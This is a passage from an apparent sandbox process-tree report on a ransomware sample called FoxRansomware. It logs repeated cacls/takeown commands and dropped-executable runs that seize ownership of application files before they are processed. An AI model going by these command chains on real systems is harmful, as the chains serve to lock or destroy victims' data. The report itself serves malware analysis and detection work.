-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "main.css" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "main.css" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "review_shared.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "review_shared.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MyriadPro-Regular.otf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MyriadPro-Regular.otf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "can03.ths" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "can03.ths" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ROMAN.TXT" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ROMAN.TXT" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CP1257.TXT" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CP1257.TXT" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "superbar.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "superbar.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "watermark.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "watermark.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre7\bin\server\classes.jsa"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "PurblePlaceMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "PurblePlaceMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "SolitaireMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "SolitaireMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "SpiderSolitaireMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "SpiderSolitaireMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "FreeCellMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "FreeCellMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "HeartsMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "HeartsMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "br.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "br.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "form_responses.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "form_responses.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "review_email.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "review_email.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "tr.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "tr.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "AdobePiStd.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "AdobePiStd.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt""2⤵
-
